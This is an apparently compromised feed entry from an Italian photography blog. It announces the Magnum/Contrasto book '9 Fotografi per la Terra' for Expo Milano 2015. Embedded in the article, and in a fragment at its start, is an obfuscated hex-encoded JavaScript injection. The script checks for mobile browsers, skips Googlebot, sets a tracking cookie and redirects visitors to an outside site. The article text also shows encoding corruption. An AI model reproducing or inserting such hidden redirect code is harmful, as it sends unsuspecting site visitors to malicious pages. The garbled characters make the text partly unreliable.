|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script></p>
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		<title>9 Fotografi per la Terra &#8211; La fotografia racconta l&#8217;Expo</title>
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		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Thu, 04 Jun 2015 11:02:10 +0000</pubDate>
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					<description><![CDATA[<p>L'articolo <a href="https://www.silviagerbino.com/9-fotografi-per-la-terra-la-fotografia-racconta-lexpo/">9 Fotografi per la Terra &#8211; La fotografia racconta l&#8217;Expo</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<h6 style="text-align: justify;"><span style="color: #000000;">Tra entusiasmo e polemiche, il 1A� Maggio scorso ha aperto, come da programma, la��<strong>A�<a style="color: #000000;" href="http://www.expo2015.org/it">Expo Milano 2015</a></strong>.</span></h6>
<p style="text-align: justify;"><span style="color: #000000;">Fino al 31 Ottobre il capoluogo lombardo sarA� una finestra apertaA�sul nostro pianeta, in cui tutti i paesi del mondo presenteranno le loro risposte all&#8217;esigenza di una sana nutrizione, nel rispetto della��ecosistema mondiale.A�A tale proposito, non poteva mancare un contributo fotografico targato <a style="color: #000000;" href="http://www.contrasto.it">Contrasto</a>.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">La casa editrice ha infatti realizzato un interessante progetto editoriale che raccoglie nove grandi fotografi scelti dalle agenzie <a style="color: #000000;" href="http://www.magnumphotos.com">Magnum</a> e Contrasto per raccontare i temi della��Expo.</span></p>
<p><strong><span style="color: #ff6600;"><a href="http://www.silviagerbino.com/site/wp-content/uploads/2015/06/9fotografi_01.jpg"><img loading="lazy" decoding="async" class=" wp-image-774 aligncenter" src="http://www.silviagerbino.com/site/wp-content/uploads/2015/06/9fotografi_01.jpg" alt="9 FOTOGRAFI PER LA TERRA" width="981" height="320" /></a></span></strong></p>
<p style="text-align: justify;"><span style="color: #000000;"><strong><a style="color: #000000;" href="http://it.wikipedia.org/wiki/Gianni_Berengo_Gardin">Gianni Berengo Gardin</a>, <a style="color: #000000;" href="http://www.irenekung.com/">Irene Kung</a>, <a style="color: #000000;" href="http://www.joelmeyerowitz.com/">Joel Meyerowitz</a>, <a style="color: #000000;" href="http://it.wikipedia.org/wiki/Martin_Parr">Martin Parr</a>, <a style="color: #000000;" href="http://it.wikipedia.org/wiki/Sebasti%C3%A3o_Salgado">SebastiA?o Salgado</a>, <a style="color: #000000;" href="http://www.magnumphotos.com/C.aspx?VP3=CMS3&amp;VF=MAGO31_10_VForm&amp;ERID=24KL53X_A">Alessandra Sanguinetti</a>, <a style="color: #000000;" href="http://it.wikipedia.org/wiki/Ferdinando_Scianna">Ferdinando Scianna</a>, <a style="color: #000000;" href="http://www.georgesteinmetz.com/">George Steinmetz</a> </strong>e<strong> <a style="color: #000000;" href="http://www.magnumphotos.com/C.aspx?VP3=CMS3&amp;VF=MAGO31_10_VForm&amp;ERID=24KL53Y_H">Alex Webb</a></strong> raccontano il pianeta in un volume dal titolo <strong><em>&#8220;9 FOTOGRAFI PER LA TERRA&#8221;</em></strong>. Il libro A? introdotto da un testo di Matteo Gatto ed A? diviso in 9 sezioni ciascuna della quali A? aperta da un commento del fotografo al proprio progetto.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Dalle terre del caffA? agli alberi da frutta, dalla Via delle Spezie alle risaie della Pianura Padana, questi fotografi ci lasciano sognare un mondo migliore, dove la specificitA� degli ambienti e delle colture sono al servizio della��uomo e non schiave del consumismo.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Il libro A? giA� <a style="color: #000000;" href="http://www.contrastobooks.com/product_info.php?products_id=680">disponibile</a>A�e <a style="color: #000000;" href="http://www.contrastobooks.com/flippage/flash/index.php?librof=9fotografi">consultabile</a> sul sito di <a style="color: #000000;" href="http://www.contrastobooks.com">Contrasto Editore</a>A�eA�sarA� presentatoA�da Valentina Notarberardino e Maria Francesca Gagliardi il 5 giugno alle 18.30 presso la Biblioteca Civica di Monterosso, in Liguria, nella��ambito del <a style="color: #000000;" href="http://www.festivalglocal.it">Festival GLocal Ambiente</a>.</span></p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class=" wp-image-775 aligncenter" src="http://www.silviagerbino.com/site/wp-content/uploads/2015/06/9fotografi_00.jpg" alt="9 FOTOGRAFI PER LA TERRA" width="917" height="386" /></p>
<p style="text-align: justify;">
<p><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script></p>
<p>L'articolo <a href="https://www.silviagerbino.com/9-fotografi-per-la-terra-la-fotografia-racconta-lexpo/">9 Fotografi per la Terra &#8211; La fotografia racconta l&#8217;Expo</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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